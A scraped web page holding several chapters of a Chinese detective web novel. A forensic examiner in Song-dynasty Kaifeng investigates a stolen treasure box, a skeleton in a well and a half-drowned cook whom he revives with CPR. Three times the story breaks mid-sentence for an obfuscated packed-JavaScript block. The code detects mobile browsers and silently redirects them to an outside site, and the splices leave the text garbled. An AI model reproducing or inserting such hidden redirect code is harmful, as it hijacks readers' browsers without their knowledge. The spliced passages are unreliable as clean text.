王彦之并没有将这次秘密任务详细讲与大儿子,只当是一次普通的接货任务,只是交待王德财货品价高易碎,叮嘱他务必妥善保管。他认为越是不经意越不会暴露。
27天后,王德财抵达安南,按照约定与出货方联系,两天后就拿到了“宝贝”。
按照王彦之的计划,接到货物后就应立刻返航,哪怕船队空跑回程。损失百万生意无所谓,巴结好这位神秘买家才最重要。
王德财不知其中奥秘,可父亲如此交待,他也不敢违背。
但天公不作美,一股强热带气旋在海面形成,肆无忌惮横扫一通。船队不敢贸然出海,不得已又在安南港停留了十来天。
王德财趁这个时间又装了些南国货物,尽可能不让船队空跑。
待海面恢复通航,船队第一时间加速赶回京城。
半个月前,王德财带着宝贝平安回家,王彦之立刻发函给他的上线,很快就有了回复,约定了今日安排交接。
原本一切都十分顺利,只需今日将货品交给对接人,这笔买卖就算完成了。那一百万跑腿费他自然是不会要的,就连那五百万的采购钱他也会想办法一并还给那位大人。
王彦之甚至都想好了,要如何通过中间人将小儿子明年考试的消息递上去,请那位大人稍加运作。
人脉资源这种东西,得过了事儿才算真的交结下来了。
可人算不如天算,昨晚一场罕见雷暴,在王家大院诸多房屋中偏偏击穿了密室的屋顶,又被贼人在成千上万件财宝中精准偷走了这件宝贝!
一想到自己得罪了多么厉害的大人物,王彦之再次绝望:“李公子,李兄啊,王某人的性命能走多远,就全靠你了啊!”
57.08 所有巧合,皆是蓄谋已久
01
王彦之宅邸一处空屋里,临时摆放了一张四壶大桌,上面铺着一层白布,上面放着大大小小的骨头。
骨头是甲丁下到井底一点点摸上来的。
一个正常的成年人全身共有206块骨头,宋连指导着甲丁在枯井里摸了四个小时,差点将这枯井又向下挖掘了三尺,才收集了203块。
现在这203块骨头已经被宋连拼图一般拼成了一副骸骨,看似完整,但右脚少了一根脚趾。
这具遗骸骨盆口呈椭圆形,上口横径比前后径长;耻骨弓角大于90度;坐骨棘间径大于10cm,骨盆壁较薄且浅,也比较光滑。
“男女骨骼特征有很多差异,但盆骨是最为特别的。由它可判断这名死者是女性。”
甲丁已经总结出了一套独有的速记技巧,于是有了时间和精力抬头观摩宋连生动的现场教学。
“但我们如何知道她的身份呢?”学生甲丁积极提问。
“我们很难从一副骸骨上看出死者姓甚名谁,但还是能获得很多线索。”宋连指着尸体右脚,“比如这具尸体,如果你确定没有遗漏的话,那么她生前应该是少了右脚的小趾,这是很重要的一个特征。除此以外,牙齿磨损、颅骨、长骨、耻骨、肋骨都会在不同年龄段发生变化,由此可以大致推断出死者的年龄。”
“再看这里,右前小臂骨折,这种情况大部分是防御性创伤,”宋连抬起右臂,做了个遮挡的动作,“死者像这样,抬手来阻挡对方的攻击,所以她是右利手。”
除此之外,肋骨、胸骨有多处骨折,说明她生前遭到严重毒打,最终死于钝器造成的颅骨粉碎性骨折。
宋连指着头颅上一处圆形凹陷:“尽管目前还没有证据,但通常这样的伤口多半是榔头造成的。”
甲丁除了“哇”“哦”“啊”“嗯”,一句完整的话也说不出来,只觉得面前的宋连又变得高大了许多。
接着,这位形象高大的宋检法抽取一根胫骨,拿起一把斧头,手起斧落“咯嘣”一声。一根腿骨断成两节,骨渣四散飞溅,吓得甲丁踉跄着后退了好几步。
这次就连李士卿都惊讶到双眼睁了老大。
甲丁大叫:“宋、宋检法!你这是干什么!这遗骨和你有什么仇怨要被如此残暴对待!”
宋连没顾上回答,而是仔细观察骨头内部。
“骨表面还有一定光泽,稍有组织黏附,骨髓失去流动性……”宋连一边检查一边口述,甲丁这才反应过来,他们仍在尸检过程中,于是收起了惊讶,赶紧记录起来。
一番操作之后,宋连放下了手中的刀子斧头,开始做总结陈词:
“所以,我们要找的是一名身高四尺七的女子,年龄大约在18-20岁之间,没有生育史,右脚缺失小脚趾。考虑到近期气温与湿度,推测死亡时间大约在15天以上,也就是说,在一个月内失踪的、附和上述特征的人,都要被详细记录。”
甲丁记完最后一笔,刚要合本,宋连又补充道:“先从报官的失踪记录查,她失踪了这么久,如果没有人报官,那说明她很可能是独居,或者……去妓馆重点排查吧。”
这时,门外有家仆来传消息:掉入枯井那名男子已经恢复清醒,能交待原委了。
02
掉入枯井中的幸存者叫李东山,是个山东人,几天前刚从老家来到京城,没有工作也没有地方住,是个流民。
李东山白天在酒肆饭馆中帮客人点餐倒酒,有时也说几段快板收取一点小费。
有的饭馆允许,有的饭馆会把他撵走。
饭馆里没有谋生机会的时候,他也会去码头试试运气,应招搬货杂工之类的活计。
晚上就找些墙角窝棚之类的地方随地大小睡。
但昨夜大雨,能避雨的地方早就没了他的位置,他沿着厢坊走了很多地方,到了王彦之宅邸的时候,雨势变得更大了。
大户人家往往会做一些面子上的慈善,李东山抱着试试的心态敲了王宅大门。
他运气不错,管家虽然没让他进宅,但在大门旁墙边的车棚给他安排了一处空地,可以凑合一夜。
李东山连声道谢,待管家走后先在地上躺了会儿,身上湿透,地上又冷又硬,怎么都睡不踏实。
反正雨夜无人,在马车厢里凑合一夜,明日一早离开,谁也不会拿他怎么样。
于是李东山挑了个宽敞的马车厢钻了进去。
“昨晚我冒雨走了好多路,实在是累坏了,进了车厢倒头就睡,直到后半夜,车棚顶上哐哐几声,惊醒了我。”
李东山第一反应是有飞贼。盗贼下手狠辣,要是被发现肯定没有活路,于是他屏住呼吸不敢出声。
听着听着他就发现了不对,声音好像是从院里到院外的。
有人先从院中跳到车棚,再从车棚跳到地面,然后就是啪塔啪塔的水声——在雨中奔跑的脚步声。
李东山这才敢扒开车厢窗帘一条缝,看到一个女人的背影,怀里似乎抱着个包袱,一边四下张望着一边跑远了。
这是遇上了家贼行窃跑路!
第二天家主一定会发现府中少了宝贝,管家也一定会认为是他翻墙进院盗窃。
他流民一个,在汴京无亲无故,如果被官府抓了,也拿不出证据自证清白。
想到这里,李东山再也睡不下去了,他必须要马上离开这里!
“天黑雨大,我对道路也不熟悉,一脚踩空掉到了枯井中。还被那……那那那白骨精缠住了!”
李东山说着又要吓哭。
03
“这木匣子是怎么回事?匣子里的东西去哪了!”王彦之厉声问道。
“我、我不知道啊!我根本不知道这里还有个匣子!”
李东山掉进井里就摔晕了,醒来之后一直在拼命挣扎求生,被白骨精缠住就已经吓得他魂飞魄散,他根本没精力注意井底还有什么。
那只匣子在井底的时间不短,又被水泡了这么久,什么痕迹也都已经没有了。
甲丁感觉自己的脑门已经开始冒白烟,“王彦之要进献一个宝贝匣子,结果它被偷了,同时在家门口的枯井里也发现了一只长得差不多的匣子,还有一具白骨。这一系列事情都太巧合了!”
巧合的还不止这些。根据王彦之所说,半个月前神秘官员的宝贝抵达王家,差不多时间一女子就被谋害弃于枯井,而女子死时就带着这个足以以假乱真的匣子。
“巧合?”宋连摇头,“这世界上根本没有什么巧合。”
他又仔细看了看那只空空如也的楠木匣子。
“所有巧合,皆是蓄谋已久。”
04<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148267|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>交货时间已到,再怎么挣扎也赶不及了。
王彦之已经提前发急函告知他的联络人,约莫一个时辰之后得到了答复,字里行间都能看到对方的急切与愤怒:自己看走了眼,本是将王彦之当做挚友,以此机会推王家末子入仕,现在反倒是要把自己的前程也搭进去。
信函结尾,对方告诉王彦之,那位大人已知晓情况,给他三天时间找回宝贝,否则后果不堪设想。
一头是打死不能说出的神秘大人,若不能在三天之内找回宝贝,后果难料;另一头是一死一伤一行窃的案子,提刑司的人就在现场,早晚要上报开封府,届时他又要落个欺瞒之罪。
王彦之夹在中间有什么委屈也都得往肚子里咽,仅仅过了一个上午,他看起来苍老了十岁不止。斑白的发髻随着身体的颤抖摇摇欲坠的。
他再也不是前一日宴席上对宾客大肆炫耀,对李士卿傲慢使唤的王总了。
“李兄!求你救我全家啊!”
李士卿倒是一点不着急,任由王彦之老泪纵横,他只管阖眸、负手,又来“不听不看不说”那套。
宋连都有点看不下去,心想王总你糊涂啊!事到如今了你还指望什么神棍啊!科学缉凶才是你唯一的活路好吗!
他拉起王彦之询问:“知道献宝这件事的,都有哪些人?”
王彦之以为提刑司的检法官这就已经审上了,眼神戒备,犹犹豫豫。
“这案子理应马上上报开封府,但我此刻正在休沐,所以……你还要继续耽误工夫吗?”
在宋连的带领下,王彦之终于愿意弃暗投明——从封建迷信的黑暗投向科学自救的光明。
“兹事体大,除了中间人,只有我和老大德财知晓。”
“全家只有你们两知道?”
王彦之郑重点了点头:“这趟南下本应我亲自跑一趟,不叫任何人知道。但现在身体大不如以前,经不起长时间出海,只能让大儿走这一趟。但我也只说了这是给一个大人代取的货品,细节我也一概没有透露!”
还怪有保密精神的。
王彦之仿佛猜到宋连的想法,说:“我王家生意能做到今天这样大,靠的是契约精神,拼的是良好信誉。这点大人毋庸置疑!也是因着这个,家中其余儿女对此一无所知!二哥德宝,经营店铺数十家,与此事全然没有关系;三姐瑜儿全心打理内务,更是不接触生意之事;四哥德仕……虽然这一切都是为了他,但他从小被全家宠坏了,性格乖张,学业上不思进取,整日就知道玩乐!”王彦之说到这里,又是气不打一处来,呛着咳嗽了好几声,“若我告诉他这件事,他更要做那不学无术、混吃等死的二世祖了!”
果然,在抓学习这方面,自古以来就没什么父慈子孝的可能。
宋连突然想到,昨天王家宴席上,三个儿子最后入场,当时脸色看着就不是很愉悦。
“昨日三位公子,是发生了什么不愉快吗?”
说到这里,王彦之又咬了咬后牙槽:“德财与德宝,原本就生意繁忙,昨日犬子得仕在青楼豪赌欠了银钱,叫哥哥们去赎,全家只有德仕好吃懒做,只出不进,狗看他都嫌弃!哥哥们能有什么好脸色……”
听起来确实与丢失宝贝没什么直接联系。
如此宋连又问:“既然只有大公子知晓宝贝的事,那现在他人呢?”
58.09 吃人嘴短,拿人手短
01
王家的厅堂里,王彦之愁容满面,额头豆大的汗珠不停往下掉,手帕打湿了好几个。
儿子们围成一圈,纷纷责难。
大儿子王德财:“父亲如果早些坦诚相待,如今我们也不会如此被动!”
二儿子王德宝:“父亲您糊涂啊!亲儿子都要隐瞒,现在出了这么大的事,我们莫名要受牵连!”
小儿子王德仕:“也就是说,现在我不但没官可做,还可能要吃牢饭了?!”
三张嘴叽叽喳喳,王彦之更烦了。
还是王瑜制止了他们的相互指责:抱怨这些解决不了任何问题,只会耽误更多时间。当务之急是要找到那宝贝!
“大哥你如实说来,究竟有没有打开过那匣子,知道里面是什么宝贝?或许还能在这几日里寻到相似的呢?”
王德财急的拍脑袋:“但我真的不知道啊!只知道那楠木匣子上了大漆,而且分量极沉,像是装着金条之类重量的东西。”
“定不是金条,那玩意儿有什么稀奇,家中一大堆!”王德仕嘟囔几句,被二哥一巴掌拍脑袋上,疼得龇牙咧嘴。
“又不是我丢了东西,二哥打我作甚!”
“捅这么大篓子还不都是为了你!”王德宝骂道,“要不是你整日游手好闲,还需全家费尽心思给你打点仕途吗!你若能自己考取个功名,我们也跟着享福,现在倒好,全家赚的钱都要供你一人吃喝玩乐,出了事还要给你担着!你还有什么脸面在这里讲话!”
宋连李士卿和甲丁坐在这里看他们一家子相互扯皮,看了足足有半个小时了。
脑仁疼,感觉几个人并没有意识到时间就是生命。
门外传来管家的声音,说是有线索要报:“家中50名家仆都在宅中无人出去,但有一人昨夜原本该在宅中过夜,却在半夜冒雨跑了……”
众人急问:“是谁?!”
“云娘。”
02
云娘,就是昨日负责整场宴席的那个厨娘。
听到这个名字,老二王德宝先是惊讶道“竟然是她?!”继而又恍然道:“是她,应该是她!”
王彦之疑惑:“二哥何出此言?”
王德宝垂头叹口气:“那云娘本是我州桥酒店的招牌厨娘,不得不说,酒店生意红火,多得益于云娘厨艺超群,顾客十有八、九都是奔着她的手艺而来。”
久而久之,云娘便生了自立门户的念头。
她花了几乎全部的积蓄在州桥夜市买下一个临街小楼,准备开自己的酒楼。但好些日子过去了,她却迟迟拿不到地契。
她找到房产中介,中介拿出了一份有云娘本人“签字画押”的转卖合同,称中介按照她的“授意”将房子低价转卖了。
云娘当即反驳:我要拿来开店,怎么会转卖!而且这字也并不是本人签的,卖房的钱也没有拿到。
但中介却理直气壮,甚至要恶人先告状,称云娘毁约在先还来讹钱。
云娘自知这其中有诈,几番调查锁定了她的老板王德宝。
“我承认,我确实从中使了些微不足道的手段,但我那也是为了保住州桥家业不得已而为之嘛!现在汴京城的酒店竞争这么激烈,州桥酒店能维持营业已是不易,她要是自立门户,就不止是多了个对手,而是要将州桥酒店逼上绝路啊!”
王德宝说得声泪俱下,硬是将自己非法兼并房产的恶劣行为说成了迫不得已。
“我是缺她那点银两吗?当然不是!这处商铺我也打算用来开个州桥食馆,她仍然可以做主厨。买地的钱我也会还她,但前提是她得留下,从今往后都不能动了离开这里的念头!”
王德宝说到这里,还侧眼瞥了一下王瑜:“三姑娘昨夜还当着众人的面给她找‘下家’,这不是拆自家台吗!”
王瑜想说什么,被王彦之阻止了:“所以二哥的意思是,这云娘知道你偷了她的房产,心生怨恨,昨夜雷电劈了房顶,她便偷了这最不起眼的宝贝?”
“老爹您又糊涂了!您刚自己都说了,这宝贝放在那么个位置上,跟供起来似的,又正好对着那破洞,一眼就看见,岂不是很顺手?”
再加上李东山的证词,事情的原委这就对上了。
王德宝趁机又将火力转向了王瑜:“说来说去,还是因为三姑娘识人不善,昨日那宴席,是她竭力要求云娘来家中主厨,害我州桥酒店昨日的生意一落千丈,明明那么好的节庆……这就算了,最重要是引狼入室啊!”
王德财和王德仕似乎也找到了发泄怨气的出口,纷纷将矛头对向王瑜。
“我早看那云娘不是什么老实人,长着一张会说甜言蜜语的嘴,就让你蒙了心智!糊涂啊三姑娘!”
“可说呢,有些话我早该说了,这些年家中事务都叫你大包大揽,结果呢,好些物件都老旧了也不见得换,那些无关紧要的地方倒是花里胡哨。这钱到底进了谁的口袋,不免让人疑惑。”
“就是说啊,三姐给我的零花钱也越来越少,现在更是连肚子都吃不饱了!也不知我那份零钱是不是都被你自己眯了去!”
几个人新账旧账一起算,将王瑜羞辱得一无是处。
“你们怎能这样讲……”
王瑜正要辩驳,被王彦之厉声喝止:“你还有脸狡辩!真是瞎了狗眼!王家的家业交在你这猪油蒙心的人手里,早晚要被你毁尽!不如早点嫁了,还能收笔彩礼钱,补贴一些损失!”
宋连还记得前天在宴席
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158535|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,王彦之是如何夸耀自己的女儿能干识大体,当时捧得有多高,现在就踩得有多狠。
03
王瑜眼眶早就红了,但就是没掉出一滴眼泪,倒是嘴唇被自己咬得几乎要出血了。
宋连听不下去,想要出头,余光看到一直做壁花的李士卿动了动,不过还没等他进一步动作,甲丁已经冲了过去。
“你们几个大老爷们围起来欺负一个姑娘,真是不知羞耻!”
几个人骂的正酣,怎能容忍一个外人说三道四,王德财先不乐意了:“你是哪根葱,敢在我家指指点点!”
甲丁更进一步:“你又是哪头蒜,张口又辛又臭!啧,辣眼睛!”
两边又要杠起来,李士卿淡定走到王彦之面前:“既然已经锁定窃贼,应该先找人找物,不宜再耽搁了。”
可昨夜云娘出逃之后就再无音讯,王家派人去她家中和酒店都找过,都没有结果。
甲丁此时突然想起,昨晚他们回家途中,宋连好像说起看到了什么姑娘的脸。他凑近宋连悄悄问:“是你雨中看到的那人吗?”
宋连摇头:“那云娘的样子我见过的,雨中那姑娘模样不同,穿着也不同,应该不是同一个人所为。而且时间也不对,那时王彦之的屋顶应该还没被雷击穿。”
甲丁点点头,又皱皱眉头。又要大海捞针了。
他和宋连同时将目光转向了李士卿,前几次找人,这神棍也不知是运气好还是真有点本是,总之给他蒙了个大差不差,这次要不然再试试呢?
但李士卿却站在那闭目养神。
王彦之又往他手中塞了一锭金子:“李兄,快显显神通救救哥哥吧!昨天的事是哥哥考虑不周,给你赔不是了!咱们兄弟一场,你总不能见死不救吧?”
宋连发现李士卿这人其实很记仇,昨天王彦之在宴席上对他使来唤去的,还明里暗里表现出瞧不上他,更崇拜大黑天神。当时李士卿看着好像无所谓,但现在看来,他一笔笔都记在自己的仇怨簿上了。
肯定是天蝎座!
李士卿掂了掂这第三锭金子,睁开了眼:“不是我不想帮你,寻人与寻物不同,需得是与我有过关联的才行,这位云娘我并不认得,只昨天远远一面,恐怕没什么把握……”
这倒是没说假话,当初找方桂儒的时候,也是通过他赠予的那枚符纸。
王彦之堆肥的脸上更多了几道褶子,看起来像是忧郁沙皮狗。
甲丁拿不准李士卿到底是帮还是不想帮,但他自己心里惦记着失踪的云娘,于是凑过去说:“李公子,你昨日吃过云娘做的饭,算不算得有关联?”
毕竟吃云娘的饭嘴短,拿王彦之的金子手短。李士卿想了想,说:“我试试。”
59.10 牛牛专车为您服务!
01
汴河,就是隋炀帝开凿的通济渠,大致以东西走向贯穿京城,是北宋经济的一条生命线。
司马光在《资治通鉴》中描述它“岁漕江、淮、湖、浙米数百万石,及至东南之产,百物众宝,不可胜计。又下西山之薪碳,以输京师之粟,以振河北之急,内外仰给焉。”
马车晃悠悠穿过京城闹市区,走了将近一小时才走到东南角的城门——东水门。
出东水门,就等于出了京城,可繁华程度却丝毫不减,沿河向东再走百步,就到了《清明上河图》里著名景点:虹桥。
宋人形容虹桥“其桥无柱,皆以巨木虚架,饰以丹艧(wò),宛如飞虹。”
宋连曾在故宫博物院看到过馆藏的《清明上河图》,但画本再精妙,也不及实景的万分之一。
眼前这座虹桥,由五排巨木组成拱骨,相互搭架,每根拱骨搭在另外两根拱骨的横木上,再用粗绳捆扎起来。这种高高拱起的形制,真像一道飞虹凌空架设于河面之上,桥面宽阔能供十数人并排行踪,桥下拱洞能通万石载重的货船。
宋连努力将这幅景色尽收眼底,心想这时候要是有个相机该多好。
过了虹桥又继续走了十多分钟,就到了汴河出口。
这里房屋和居民少了很多,但河面上的行船依然热闹。
马车停下,先走下车的是李士卿。
符纸的灰烬飘向前方的一片杂乱的树枝木桩区。
“这些木桩是做什么的?”宋连不懂就问。问完就看到甲丁那副“连这个也忘了?”的表情。他在宋连耳旁小声提醒:“这个是木岸。将树枝扎成捆状,一捆捆相连起来,再用木桩固定在河两岸,以防止河水漫溢,还能使得曲滩漫流平缓下来,保障了漕船的安全。”
一阵风吹过,带着好些沙尘,众人眯起眼睛抬手遮挡。
李士卿站立不动,盯着那片木岸。与此同时,甲丁在风沙中嗅了嗅,“有血腥味。”
众人紧张了起来,宋连一边往前探路一边想:神算子,狗鼻子,他身边怎么就没个正常人呢。
02
云娘和一堆树枝一起被拦截在其中一个木桩上,隐藏在那一片木岸之中。
木岸缓和了浅滩形成的暗流漩涡,使得河水逡巡其中,一叠一叠有规律的拍打着木桩。云娘的头部浮在水上水上,被披散的头发随着水波上下浮动,很像一团褐色的水草,如果不去刻意寻找是很难发现的。
甲丁已经小跑到木岸边,但他没有马上着急动手,而是学着宋连的样子先观察和记录周边的状况。记录到一半时却发现这次宋连没有跟上来,而是站在距离水边十多米的地方,甚至比李士卿躲得还要远。
“宋检法?”甲丁疑惑不解。
李士卿顺着甲丁的目光也看向宋连,只见他面色煞白,从胸口起伏的频率就知道此刻他正在剧烈的喘息。
“宋检法不会是生病了吧?”甲丁说着就要去摸宋连的额头,没想到宋连反应过度,推开甲丁的同时自己也打了个趔趄,差点栽到地上,被李士卿一把扶住。
宋连缓了缓神,暂且稳定了自己的思绪,也没想好要如何跟李士卿解释。好在李士卿什么都没问。
“宋检法……你还好吧?”甲丁很担心。
“对不起,我刚才……”
“啊——!!!!”
背后传来王德仕的鬼哭狼嚎。
王德仕尽管胆小,但又很好奇,觉得要是能看一眼“命案现场”,够他在青楼的小姐姐面前吹一年的牛逼。
俗话说得好,好奇心害死猫。这一眼吓得王德仕几乎是魂飞魄散,喊叫的声音都发直了。
宝贝小儿子受到了惊吓,王彦之也立刻前去查看,老爷子动了,儿女也赶紧过去搀扶。
于是所有人都看到了云娘漂浮水中的场面。
王瑜已是浑身发抖,像是被这场面吓呆了。王彦之嫌她挡了道碍事,推开她喘着粗气往云娘旁边跑:“有匣子吗?找到匣子了吗?”
甲丁也顾不上宋连的异常,上前清退了王家的人,免得他们破坏了现场。
“宋检法,我已经查看过这周边情况,没有发现完整脚印,云娘恐怕是顺着河水漂到此处的。附近也并未看到木匣子。”
宋连此刻已经恢复了一些血色,听完甲丁的汇报,点了点头:“现场勘验差不多了,可以打捞尸体了。”
云娘衣着完整面色苍白,在河水里浸泡一夜皮肤十分冰冷。
汴河里往来商船不断,船上有许多人聚在甲板张望,想看看这边发生了什么。甲丁不愿尸体被围观,加快了手中的动作。
他将缠绕在云娘身边的水草木枝清理干净,一个马步扎在木岸上,伸出两只手臂到水中,夹住云娘的身体,憋气用力一拖,将她拖上了木岸。
他又检查了一下云娘的呼吸和脉搏,什么都没有感觉到。这时才发现在她的额前,发际线后一点的位置有一处破口,伤口已经泛白。
甲丁有些奇怪:明明不再流血,为何还闻到了血腥味?但他也来不及多想,当务之急是要把尸体运到府衙进一步检查。
但王家人却不同意。
王彦之听说没有找到匣子,整个人又萎靡了下去,先坐上自己的马车离开,要自己找线索去。
老大认为尸体在河中发现,是水官要的人,他常年跑船靠的就是水官保佑,怎么能与水官抢人。
老二则更强硬,生意人最讲究风水,这么晦气的东西怎能与王家有沾染,况且这云娘心怀不轨,现在也算是死有余辜。
只有王瑜没有说话,像是对运送云娘尸体这件事并不介意。但两个兄长以眼神威胁她叫她不要多事。
“宋检法!哎呀宋检法你果然在这里!”
由远及近传来热情的喊声,还伴随着牛脖子上铜铃叮咚叮咚的声音。
牛牛专车为您服务!
03
“今日官老爷们休沐,多携家眷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166168|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出行游玩,正是生意好的时候!结果我半路听说这里好像发生了命案,想着或许宋检法也在这里,嘿!还真给我猜着了!”
牛牛专车司机笑得脸上都起了褶皱,一边笑一边窥探地上的尸体。
“我听说这次案子和富商王家有关?”
宋连递给司机一个噤声的眼神,司机马上闭上了小嘴:“我懂,我懂,还在保密期!”
既然专车到了,事不宜迟,赶紧搬运。
甲丁和专车司机走到云娘身边,正要下手,一直没有说话的李士卿却叫停了他们。
“她三魂七魄尚在,不见死魂,倒有生魂,只是十分虚散,将死未死……”
宋连捕捉了重点:这人好像还活着!
他两步上前,翻开了云娘眼睑。瞳孔还未涣散!
“甲丁,你测过脉搏了?”
“测了啊,没有气息也没有脉搏,喏,这么大的伤口都不出血了!”说着他又想起那股血腥味,犹豫着说:“但我刚才确实是因为闻到了血腥才发现了她……”
宋连按压伤口,尽管没有出血,但还有生活反应!
“快!人工呼吸!她还活着!”
04
“人什么呼吸?”甲丁一脸懵逼。
情况紧急,宋连也顾不上教学,直接上手开始了心肺复苏。
当他将云娘嘴唇张开,怼上去人工呼吸的时候,在场的人都发出了惊呼。
“这……这宋检法,竟然对尸体做如此不雅之事!真、真是成何体统!!!”
老大老二在旁痛骂,甲丁想反驳却不知要怎么反驳。说实话,宋连这个举动他也吓了一跳。
但宋连完全没有理会这些声音,似乎也忘记了这么多人还在围观他。他只是不断的、奋力的按压云娘的胸口,并不间断的掰开她的嘴为她送气。
联想到之前宋连面色煞白,不正常的表现,甲丁怀疑宋连身体里的鬼是不是发了疯,好几次想上前阻拦,但被李士卿拉住了。
这样疯狂的举动持续了将近一刻,大家都认为宋连发疯了,决定将他从云娘身上拉走的时候,云娘的“尸体”突然咳嗽了起来,一股股水从口中呛出。
宋连立刻将她侧翻,防止呛出的水进入气管。
云娘咳得惊天动地,咳出了粉色的血沫。她极速喘息,说不出话来,只是狠狠瞪着不远处王家的人,双手在空中挣扎着。
宋连让甲丁控制住云娘的身体:“她呛了河水,恐怕肺部感染了,额头的伤口也有炎症,必须先给她消炎,否则活不下去的!”
云娘在甲丁的控制下仍然在挣扎,破风箱一样的气管里呜噜呜噜发出几个音,甲丁听了半天,好像是在重复什么。
“盛……兴……?”
云娘的力气彻底用尽,眼一闭头一歪,倒在甲丁怀中。但口鼻还有气息,脉搏虽然虚弱但也能测得出。
三人将云娘抬上专车,思考一番决定先回家去,李士卿那里有消炎符!
60.11 我有许多秘密,就不告诉你!
01
牛牛专车什么人都拉,但宋检法他们三带一带的是个活人的情况还是第一次出现。
别说司机不太适应,这三人显然也不太适应。
“宋检法,你刚才对云娘……”
“你说人工呼吸?”宋连这才想起当时周围好像有人骂他来着,反应过来他的行为在这些人眼中确实有点“十恶不赦”。
“这个叫心肺复苏。人在突发疾病或者遭遇不测的时候,如果遇到心脏骤停、自主呼吸困难等情况,在一些情况下就需要对病人进行心肺复苏术。”
甲丁已经拿出小本本开始记录。
“胸外按压是为了手动充当‘心泵机制’,帮助停止搏动的心脏重新开始进行血液循环,口对口呼吸是为了让气体被动吹进肺泡,维持肺泡通气和氧合作用,简单来说就是帮助她呼吸。整套动作都是为了让失去自主循环的她被动循环起来,血液重新输送氧气,身体机能才会开始运转……”
看着甲丁一脸清纯的无知,宋连知道自己的讲解还是过于科学了。
“宋检法的意思是,为她打通气脉,风火水土在体中重新运转起来,人自也就活过来了。”李士卿仅用了一句话,甲丁就“哦~”地听懂了。
宋连:科学让我自卑。
“可是……宋检法此前面色看上去也不佳,好像就是从我们到达现场时开始的。”
李士卿好像就等着甲丁问出这句话来,将目光锁死在宋连的表情上。
“我怕水,小时候在河里游泳差点溺水,所以害怕。”
甲丁又“哦”了一声,好像是接受了这个说法,但李士卿却没信他。
“宋连,你在河边发生过什么?”
李士卿继续盯着宋连的表情。他问的是“河边”,不是“河里”。他不相信宋连说的话。
过了很久,宋连才长吁一口气,缓缓开口。
“我接触的第一个命案就是在河边,死者是一个还在上学的姑娘。但当时没有很完善的验尸技术,最终判定她是失足落入河中,撞到了头昏迷过去,然后溺亡。其实现场还有很多疑点,我提出了,却没人在乎。”
谁会在乎?学校不在乎,警察不在乎,甚至死者的家人后来也不在乎了。
只有他还抱着这个执念撑到现在,当年河边那具如水草般漂浮的尸体,是他一辈子摆脱不掉的梦魇。
“我时常梦到她那双不甘的眼睛,好像在说:你为什么不再努力一些?如果再努力一点,再厉害一点,就能找到凶手让我瞑目了。”
02
马车摇摇晃晃往家,沿路仍然和来时一样热闹,但宋连却比来时像换了个灵魂。
有些事情深埋在他心中很多年,从未对人提起,何况对李士卿来说,这些都是还未发生的未来。他又能对还未发生的事情做些什么呢?
或许正是因为没有意义,所以宋连才会“不吐不快”?
车厢里非常安静,甲丁对宋检法这番“剖白”没有准备,想要安慰却不知怎么开口,或许也不需要他笨拙而无知的安慰。
但他还是说了:“那姑娘若是知道宋检法你现在可以帮那么多枉死之人沉冤得雪,想必九泉之下也会感到欣慰的。”
宋连苦笑一声。会吗?他不知道。但那凶手一日没有落入法网,他的噩梦就一日不会停下,他的人生也毫无意义。
牛车终于抵达家门口,抬人下车的时候宋连才想到一个要紧的事儿:云娘浑身湿透,这么冷的天肯定要换一身干净衣服的。先不说有没有合适衣裳的问题,他们三个大男人,谁来给她换呢?
要放在现代,这种特殊情况他其实也不会犹豫。但封建礼数耽误事啊!他刚给云娘做了人工呼吸,已经引起那么大的反响,要是再脱衣服……这姑娘以后还怎么见人呢?
正发愁,见车外站着一个人,王瑜。
03
“没经过李公子同意冒然打扰了,”王瑜轻轻行了个礼,“刚才家中兄长们多有得罪,我……没能帮上各位的忙,很惭愧。想着云娘女儿之身,你们或许多有不便,就来这里等着,看有没有我能帮上忙的。”
王瑜的出现简直太及时了,不过宋连有些担心她这样做,回到家中会不会又要被训斥。
“人命关天,我这点事算不得什么的,天冷,还是快些让云娘暖暖身子吧!”
王瑜是直接从河边乘马车来的,没来得及拿身衣服,最终还是找了宋连的凑合一下。
考虑到王瑜是案件相关人员,让她与被害人共处一室也不太合适,甲丁在暖房中间立了个屏风,让王瑜隔着屏风给云娘擦拭换衣。
王瑜动作很快,拿着脏衣服出来递给宋连:“想必这些都是证物,我就不带回去清洗了。”她似乎很明白办案的流程:“宋检法恐怕要与各位商议案情,我也不便逗留,先行告辞了。”
宋连和甲丁谢过王瑜,送她到门口,王瑜犹豫一番又回头问李士卿:“李公子,那匣子,可还有找到的希望?”
李士卿摇头。
